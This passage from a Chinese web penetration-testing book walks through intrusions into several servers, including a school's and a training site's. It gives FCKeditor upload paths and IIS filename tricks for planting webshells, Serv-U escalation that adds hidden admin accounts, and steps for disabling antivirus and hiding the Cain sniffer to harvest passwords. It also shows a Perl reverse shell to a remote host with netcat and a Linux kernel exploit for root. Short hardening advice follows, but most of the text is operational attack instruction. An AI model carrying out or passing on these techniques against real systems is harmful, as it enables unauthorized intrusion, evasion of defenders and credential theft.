图3-102 获取IP地址信息

说明
使用ping命令,一方面是为了获取IP地址,另一方面是通过延迟时间判断网络速度,也便于后期对该服务器进行口令检测,如对MySQL、MSSQL、FTP及POP3等口令的检测。

2.初步获取端口开放情况

使用“sfind.exe-p 61.*.*.96”命令获取该职校服务器的端口开放情况,如图3-103所示,该服务器开放了21、80及3389端口,通过端口扫描可以初步判断该服务器为Windows系列。

图3-103 初步获取端口开放情况

技巧
(1)3389端口一般为远程终端服务开放端口,通过该端口可以初步断定该主机为Windows系列主机。
(2)可以先使用3389远程终端连接器连接该IP地址进行登录尝试,如果登录成功,可以看到该操作系统是Windows 2000 Server还是Windows Server 2003。在本例中,通过3389远程终端连接器连接,获取该系统为Windows 2000 Server操作系统。
(3)可以使用SuperScan及X-Scan等扫描软件扫描端口。X-Scan扫描软件“个头”比较大,扫描操作相对复杂,扫描结果比较全面。通过SuperScan 3.0的扫描结果,可以直接访问80、21及23等服务。

3.7.2 口令检测

下面介绍口令检测的相关内容。

1.扫描口令

扫描口令可以根据个人习惯进行。笔者一般是脚本检测和口令检测同步进行,在肉机上直接运行HScan,设置参数开始扫描。本次检测中,比较幸运,扫描出该主机IP地址存在弱口令,在本地运行CuteFTP 8.0 Professional,单击“Site Manager”按钮,在其中新建一个站点,输入该主机的IP地址和及取的用户名和密码,最后单击“连接”按钮进行登录尝试,如图3-104所示,登录成功。

图3-104 使用CuteFTP 8.0 Professional连接FTP服务器

2.信息分析

通过CuteFTP 8.0 Professional软件对该FTP服务器的当前用户目录中的内容进行查看,可以看到该FTP目录中存在conn.asp数据库连接文件,在该目录下还可以看到一个比较熟悉的文件——newasp.asp(木马程序常用的文件名)。

将以上文件下载到本地,并通过UltraEdit32编辑器打开conn.asp文件,如图3-105所示,可以知道该Web站点使用的是Access数据库,数据库路径为根目录下的“database\”,数据库名称为“l***88.asa”,网站系统使用的是PowerEasy(动易网络论坛系列)。

图3-105 查看conn.asp文件的内容

3.获取WebShell

查看conn.asp文件后,继续查看其他文件。在newasp.asp文件中,如图3-106所示,可以很清楚地看出该文件就是一个WebShell,还可以看到该WebShell的密码为“h***56”。既然获取了该WebShell,就可以直接在该网站输入IP地址后进行尝试。

图3-106 获取WebShell地址

3.7.3 实施控制和渗透

下面介绍实施控制和渗透的相关内容。

1.获取WebShell

在浏览器中输入“网站地址+对应的WebShell地址”,在本例中输入“http://www.n**.com/newasp.asp”,如图3-107所示,该WebShell可以正常运行,说明该Webshell可用。

图3-107 获取WebShell

2.通过WebShell查看文件

在WebShell中输入密码,然后单击“登录”按钮,验证通过,如图3-108所示,可以正常使用该WebShell。通过该WebShell可以看到该网站的所有文件,还可以进行下载、删除、移动、编辑等操作。

图3-108 通过WebShell查看文件

3.通过Serv-U提升权限

在该WebShell中,单击“Serv-U提权(超强版)”选项,进入提升权限界面,在该界面中使用默认设置即可,单击“提交”按钮将添加密码为“pass13”、用户名称为“user13$”的用户到管理员组中,如图3-109所示。

图3-109 添加用户提升权限

说明
(1)在使用Serv-U提升权限时,一般采用WebShell默认的用户名和密码为佳。
(2)如果服务器口令有强制性设置,则添加用户密码时需要满足复杂性要求,即要求满足大小写字母、特殊字符、数字及位数等要求。

4.提升权限成功

提升权限成功后会给出相应的提示,不过需要注意,有时即使显示成功,也不一定能成功添加用户。

5.登录服务器

打开远程终端登录器mstsc.exe,输入刚才添加的用户名和密码,进行登录尝试,登录验证通过后,成功进入该服务器,如图3-110所示。

图3-110 登录服务器

3.7.4 内网渗透和查看

下面介绍实施控制和渗透的相关内容。

1.查看内网计算机

在DOS窗口中输入“net view”命令,查看该服务器上相邻计算机的情况,如图3-111所示,包括本机在内共有4台计算机。运行“ipconfig/all”命令查看该计算机的网络配置及IP地址分布情况,该服务器采用NAT方式,映射内网IP地址到外网,提供Web服务。

图3-111 查看内网情况

2.实施内网渗透

在使用脚本上传文件时发现,文件一上传就找不到了,上传了好几次都是如此,看来该服务器上存在强力杀毒软件。如图3-112所示,打开“服务”管理器,找到杀毒软件所在服务,在本例中显示的服务名称为“McAfee Framework服务”,将其停止即可,然后上传工具软件。

图3-112 停止杀毒软件服务

3.内网渗透失败

使用NTScan内网口令扫描程序在内网进行扫描,内网口令扫描无直接结果。

4.再次查看计算机情况

在“Program Files”(程序)目录中可以看到,系统已经安装过Cain嗅探工具。如图3-113所示,通过程序名称“Cain_cn”可以知道该主机可能有国内用户“访问”过。

图3-113 获取Cain安装目录

5.获取网站用户管理登录口令

Cain是一款口令嗅探工具,使用Cain监听后,会自动在该程序安装目录中生成相应的LST文件。例如,HTTP嗅探结果会保存为http.lst,将http.lst修改为http.txt,然后打开该文件,从中可以看到网站传输的用户名和加密后的MD5值,如图3-114所示。

图3-114 查看Cain嗅探HTTP结果

技巧
(1)要想查看Cain嗅探结果,只需要到Cain安装目录下查看是否存在LST文件即可。Cain嗅探结束后,会自动将结果保存在安装目录。
(2)安装Cain时,安装程序选择一个不容易发现的目录,安装完毕后,将安装目录移动到其他程序目录中,然后删除程序菜单中有关Cain的快捷方式,就可以达到隐藏的目的。
(3)运行Cain时,可以将其设置为隐藏模式。这样,即使是管理员登录系统,如果不仔细检测,也不容易发现服务器被安装了Cain,此时只有通过使用自定义的快捷键才能打开Cain的操作界面。
(4)Cain嗅探时间不能太长,否则通过查看流量和数据包的异常,就能知道有人在进行嗅探。

6.通过Cain查看嗅探结果

在Cain中查看LST文件,不如直接通过Cain程序查看嗅探结果直观。在Cain安装目录下找到Cain.exe程序,双击运行,如图3-115所示,可以比较直观地看到Cain的修改结果,FTP与SMB监听的结果为1条,HTTP监听的结果为145条,HTTP监听的结果显示为用户gxr的登录密码和相关网页操作。

图3-115 通过Cain直接查看嗅探结果

3.7.5 简单的安全加固

下面讲解安全加固的相关内容。

1.使用360安全卫士进行简单的安全加固

在该计算机上发现安装有360安全卫士,打开360安全卫士,对系统进行一些简单的安全扫描。如图3-116所示,一共发现9个恶意插件,将其清除并修复系统存在的安全漏洞。后面还会使用360安全卫士清理启动选项等,对该服务器进行简单加固。

图3-116 使用“360安全卫士”进行简单加固

2.使用杀毒软件清除系统中的病毒

使用McAfee杀毒软件对系统中的磁盘进行扫描处理,如图3-117所示,发现系统中存在一些病毒,该文件所在目录为一个FTP匿名登录目录,可以猜测是入侵者利用社会工程学进行了挂马。

图3-117 使用杀毒软件进行杀毒

3.7.6 小结

本次安全检测仅仅通过扫描FTP、MySQL及MSSQL弱口令就获取了某职业学校的控制权限,如果有时间和耐心,应该可以渗透该内部网络。

本次安全检测的关键就是通过CuteFTP 8.0 Professional获取了该网站的一些关键文件,包括WebShell,直接通过Serv-U提升权限成功,进而成功控制了系统。就个人经验来说,可以采取以下措施加固系统。

• 重新更换系统中的所有密码,删除多余的管理员。
• 对系统进行杀毒、木马检测、端口查看、网络连接等安全检查。
• 对网站代码进行安全检测,查看代码中是否包含后门和木马代码。
• 安装防火墙并及时升级系统防火墙和系统补丁。
• 更改3389端口为其他端口,在事件中增加安全审核,并仅授权管理IP地址,即仅某一个网段或者某一个IP地址才能访问3389端口。
• 严格控制FTP用户及目录,如果没有特殊的需要,尽量使用Windows自带的FTP服务。

3.8 使用WATScan进行Web安全扫描

目前有很多安全公司提供在线Web安全扫描服务,如360在线安全扫描webscan.360.cn,但扫描必须由站长本人进行,因此,在安全检测中不是特别方便。而WATScan(中文名为“真眼”互联网安全扫描系统)是一款在线Web漏洞扫描系统,它简单实用,只需要注册即可进行网站扫描。目前,WATScan能够检测常见的Web漏洞,如SQL注入、XSS跨站、文件包含和命令执行等,帮助用户完成渗透测试过程中的信息收集、暴力破解和漏洞检测工作。同时,由于该扫描器的可扩展性极强,可以通过编写对应的漏洞检测插件来丰富扫描器的检测效果,漏洞库更新频率高,在渗透过程中使用它偶尔会有意外的收获。WATScan的官方网站为http://www.watscan.com/teye,可以通过在该网站上注册账号进行网站扫描。

3.8.1 Web漏洞扫描

下面我们使用WATScan进行漏洞扫描,步骤如下。

01 创建任务

首先在http://www.watscan.com/teye网站注册账号,然后利用注册的账号进行登录,输入目标信息,创建扫描任务,如图3-118所示。

图3-118 创建扫描任务

02 设置网站扫描类型

在任务列表中找到刚刚创建的任务,在“扫描操作”列单击“网站扫描”按钮,如果是移动APP则单击“移动扫描”按钮,如图3-119所示。

图3-119 选择网站扫描类型

接着,在“网站任务”页面输入需要进行扫描的网站地址,单击“提交扫描”按钮开始扫描,如图3-120所示。

图3-120 设置扫描网站地址

3.8.2 查看报告

WATScan会自动进行网站扫描,当扫描完成后,单击“报告”按钮即可查看网站的扫描报告,如图3-121所示。

图3-121 网站漏洞扫描报告

切换到“漏洞扫描”选项卡,还可以看到漏洞扫描的详细结果,如图3-122所示。

图3-122 详细扫描结果

第4章 常见文件上传漏洞及利用

在网站系统中,文件上传是一个非常实用的功能。为了丰富网站的内容,往往会提供图片、多媒体等文件下载,如果程序未进行严格的权限限制,就可能被入侵者利用。文件上传漏洞主要有以下几种类型。

• 任意文件上传漏洞。找到上传页面后,可以上传任意后缀的文件,找到该漏洞后直接上传WebShell的木马即可。
• 利用IIS文件解析漏洞上传图片等文件构造一句话木马。
• 利用文件编辑器的漏洞上传文件。
• 通过其他抓包软件抓包,构造文件上传漏洞。

通过SQL注入等漏洞拿到后台权限后,一个重要的步骤就是寻找上传功能模块。通过文件上传漏洞可以获取WebShell,获取WebShell后可以进一步提权。可以说,很多Web系统都是通过文件上传漏洞失陷的。本章主要通过一些实际案例讨论如何利用上传漏洞进行Web渗透,通过这些案例可以掌握Web渗透中的上传漏洞利用技术。

本章主要内容

 利用FCKeditor漏洞渗透某Linux服务器

 利用Flash上传漏洞渗透国内某服务器

 由CuteEditor漏洞利用到全面控制服务器

 Dvbbs 8.2插件上传漏洞利用

 利用cfm上传漏洞渗透某服务器

 eWebEditor编辑器漏洞攻击案例

 密码绕过获取某站点的WebShell

 利用eWebEditor漏洞渗透某学校服务器

 对某网站的一次渗透

4.1 利用FCKeditor漏洞渗透某Linux服务器

FCKeditor是一个专门用在网页上的、开放源代码的所见即所得文字编辑器,不需要太复杂的安装步骤即可使用。它可以和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java及ABAP等编程语言相结合。“FCKeditor”名称中的“FCK”是这个编辑器的作者名字Frederico Caldeira Knabben的缩写。很多网站都在使用FCKeditor在线编辑器,目前最新版本为3.0.1。FCKeditor编辑器的早期版本由于过滤不严格、安全意识较差等原因,出现了多个漏洞,攻击者主要通过文件上传获取WebShell。

FCKeditor漏洞的主要利用思路如下。

• 通过Google等搜索引擎或者通过查看网站源代码获取网站是否使用FCKeditor编辑器。在发布内容模块也能很容易地区分系统是否使用了FCKeditor编辑器。
• 获取或者猜测FCKeditor的安装目录,可以手工获取,也可以通过工具软件扫描目录获取FCKeditor的安装目录及存在的文件。
• IIS 6.0文件解析漏洞上传一句话木马或者WebShell。IIS 6.0中存在一个文件解析漏洞,在以“*.asp”文件命名的目录下,即使突破文件,也能被解析执行。另外,就是名称类似“1.asp;1.jpg”的文件在上传可以以ASP文件被执行。
• 直接上传WebShell。获取FCKeditor的安装路径后,可以浏览或者上传文件。例如,在早期版本中输入地址“fckeditor/editor/filemanager/browser/default/browser.html?Type=ImageConnector= connectors/asp/connector.asp”,可以直接上传文件。

下面以一个实际案例讲解如何通过FCKeditor渗透某服务器。

4.1.1 对已有Shell进行分析和研究

下面我们对已有Shell进行分析和研究。

01 搜索WebShell关键字

JSP的WebShell主要有JShell、JFold和jspFilebrowser 3种。当然,还有单独的所谓“CMD”型的JSP后门,它的主要功能是执行类似CMD的命令。通过Google搜索“阿呆JSP WebShell”,会找到一个JSP网页地址,如图4-1所示,凭感觉可以知道第一个搜索记录就是一个WebShell地址。

图4-1 搜索WebShell

02 验证WebShell

直接打开第一条搜索记录,获取真实的网站地址“http://www.xxxxx.com/UserFiles/Image/IMG 20090817235411840.jsp”,打开后能够正常运行。如图4-2所示,输入一些常见的密码进行尝试登录,均未能成功,说明该WebShell使用的是自己的密码。

图4-2 测试WebShell

03 分析WebShell

拿到这个WebShell后,第一感觉是该网站肯定存在漏洞,入侵者可能修复过漏洞,也可能未修复漏洞。从该地址来看,很像FCKeditor编辑器,直接在网站地址后加上“FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector”并打开,如图4-3所示,直接打开了我们熟悉的FCKeditor上传页面。

图4-3 打开FCKeditor上传页面

说明
FCKeditor编辑器的典型目录结构如图4-4所示,本例中的“UserFiles/Image/”就属于这种结构。
图4-4  FCKeditor编辑器的典型目录结构

04 上传WebShell

在FCKeditor中,单击“浏览”按钮,选择一个JSP的WebShell文件,然后单击“Upload”按钮上传,如图4-5所示,上传成功。

图4-5 上传WebShell

技巧
(1)在上传时,可以先选择“Create New Folder”选项创建一个文件夹。如果能够创建,说明权限较高,基本上可以成功上传文件。
(2)在直接上传文件失败的情况下,可以尝试分别上传文件名称为“1.asp;1.jpg”和“1.asp;jpg”的一句话木马。
(3)在某些情况下,还可以直接浏览当前目录的文件,可能会看到之前入侵者留下的WebShell。
(4)在“browser.html?Type=Image”中,Type有File、Flash和Image 3种类型,可以在地址中进行修改,用来上传或者查看文件、Flash文件和图像文件。
(5)关于各种版本的FCKeditor,上传利用地址形式如下:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors
• JSP版本:/jsp/connector
• ASP版本:/asp/connector
• ASPX版本:/aspx/connector
• cfm版本:/cfm/connector

4.1.2 测试上传的WebShell

由于FCKeditor的典型目录结构是“UserFiles/Image/”,因此,上传的WebShell地址格式为“UserFiles/Image(File或Flash)/+文件名称”。在本例中上传到Flash文件目录,所以实际地址为“http://www.xxxxx.com/UserFiles/Flash/Browser.jsp”。

如图4-6所示,WebShell能够正常运行,此时就可以利用WebShell进行下载、上传、删除、复制及执行命令等操作。

图4-6 测试上传的WebShell

4.1.3 分析与收集WebShell所在服务器的信息

01 获取服务器类型

在获取WebShell后,可以通过它执行命令,查看服务器的配置情况。如图4-7所示,通过浏览文件目录可以知道该服务器为Linux服务器。

图4-7 获取服务器类型

02 下载网站源代码与数据

渗透能够快速提高个人能力。在渗透成功后,通过下载网站源代码与数据到本地进行分析,能够取长补短,快速积累经验。在本例中,通过查看该服务器的“var/mysqlbak”目录,能够获取该网站的MySQL数据库备份文件。如图4-8所示,通过WebShell可以下载单独的文件,也可以打包下载整个网站的文件。

图4-8 下载MySQL数据库

03 获取WebShell密码

获取WebShell是本次渗透的目的。通过WebShell的地址反查文件的实际地址,使用cat命令可以查看其登录密码,如“cat home/webhome/xxxxx.com/WEB-INF/webapps/ROOT/UserFiles/Image/IMG20090817235411840.jsp”,如图4-9所示,获取其密码为“191903***”。

图4-9 获取WebShell的密码

4.1.4 服务器提权

01 查看Linux版本

在WebShell中,执行“uname-a”命令获取Linux的版本,结果显示为“Linux java.pumo.com.tw 2.6.9-11.ELsmp #1 SMP Fri May 20 18:26:27 EDT 2005 i686 i686 i386 GNU/Linux”,如图4-10所示,说明该服务器的内核为2.6.9-11版本。

图4-10 获取Linux内核版本

目前,Linux稳定的最新内核版本为2.6.32(Linux最新内核版本查看地址为http://kernel.org/pub/linux/kernel/v2.6/)。从版本号可以判断,该服务器可能比较容易被提权。

02 查看操作系统

“/etc/issue”命令主要用于显示操作系统发行版本等信息,用户可以定制issue,也就是说,可以手动修改,如果未修改则默认显示各个操作系统的版本信息。如图4-11所示,使用“cat/etc/issue”命令查看该操作系统的版本信息,该操作系统为红帽Linux企业版。获取该信息的目的就是选择相应的溢出程序来提权。

图4-11 获取操作系统的版本

03 反弹Shell

将反弹脚本c.pl上传到“/var/tmp”路径下,然后在受控计算机(肉机)上执行“nc-vv-l-p53”命令,再在该WebShell中执行“perl/var/tmp/c.pl 202.102.xxx.xxx 53”命令,如图4-12所示,将该服务器反弹到肉机(202.102.xxx.xxx)的53端口上。

图4-12 编译反弹脚本

说明
以上命令执行成功后会给出一定的提示,否则表明编译未成功或者存在其他问题。在WebShell上执行成功后,会在肉机上显示一个Shell,如图4-13所示,该Shell相当于一个终端。从反弹的结果看,反弹回来的权限是普通用户的,为了全面控制系统需要获取Root权限。
图4-13 成功反弹

04 尝试提权

通过WebShell上传最新的Sendpage3利用程序,上传成功后,在反弹的Shell中查看上传的程序,然后直接执行“./run”命令,如图4-14所示,直接提权为root用户权限。

图4-14 提权成功

4.1.5 总结与思考

本例通过FCKeditor漏洞成功获取WebShell,然后通过查看Linux版本、操作系统的发行版本等信息,上传相应的漏洞利用程序,最后通过在反弹的终端执行exploit获得系统的最高权限。从本质上说,渗透的核心就是漏洞,只要找到漏洞,选择相应的溢出(漏洞)程序,就可以成功渗透!

4.2 渗透某培训服务器

本次渗透是临危受命:站点被人“黑”了,网站多次被挂马,想看看问题到底出在哪里,于是有了本次的渗透测试和安全检测。该网站主要存在SQL注入和任意文件上传漏洞。

4.2.1 使用JSky进行漏洞扫描

直接打开JSky Web漏洞扫描工具,输入需要检测的网站地址,接着按照默认设置进行扫描,最后就是等待具体的扫描结果。由于网站的内容很多,因此扫描时间很长,如图4-15所示,该网站存在2个SQL注入点,还有一些源代码泄露。

图4-15 漏洞扫描

4.2.2 通过SQL注入获取管理员密码

通过SQL注入获取了该网站的用户名称和密码,密码采用的是通用的MD5加密。通过查询获得解密后的密码,通过扫描网站后台获取后台地址“http://www.xxxx.xxx.cn/manage”。输入用户姓名和密码,成功进入后台,如图4-16所示。该后台中有个人管理、栏目管理、下载管理、信息管理、客户管理和系统功能6个模块,凭借经验,下载管理和信息管理模块是获取WebShell的重点对象。

图4-16 进入后台

4.2.3 直接上传WebShell

展开下载管理模块,单击“文件上传”选项,如图4-17所示,在下拉列表中分别选择“资源下载”和“系统分析”选项,直接选择一个后缀为“asa”的WebShell文件,单击“上传”按钮上传——非常幸运,系统未对文件进行限制,文件上传成功!同时,在“软件名称”文本框中返回了具体的文件路径和名称。

图4-17 上传WebShell

4.2.4 获取WebShell

在浏览器地址栏中输入上传的WebShell地址,如图4-18所示,成功获取网站的WebShell。

图4-18 获取WebShell

4.2.5 服务器提权

通过WebShell对程序目录进行浏览,发现网站所在服务器安装了Serv-U。进入Serv-U的路径“c:\Program Files\Rhinosoft.com\Serv-U”,然后单击Serv-U提权,系统会默认添加一个用户名称为“wang$”、密码为“188”的管理员账户,如图4-19所示。

图4-19 添加管理员账户

4.2.6 登录服务器

通过NMap端口扫描软件对该网站所在的IP地址进行端口扫描,发现该服务器的远程终端服务端口为3389。使用远程终端连接器进行远程登录,使用刚才添加的管理员账户尝试登录,如图4-20所示,成功登入该服务器,获得服务器权限。

图4-20 获得服务器权限

4.2.7 抓取系统密码并破解

使用SAMInside直接抓取系统的Hash密码,然后将获取的Hash密码导入Ophcrack中进行破解,如图4-21所示,成功破解Administrator账户的密码。

图4-21 抓取系统密码并破解

4.2.8 总结与思考

尽管该网站安装了Serv-U软件,但安装后应该对其进行降权处理,这样,即使攻击者获得了WebShell,也无法提权并获得服务器权限。

该网站的代码存在安全问题,代码没有进行严格的过滤,存在SQL注入,文件上传模块没有对文件类型进行限制和过滤。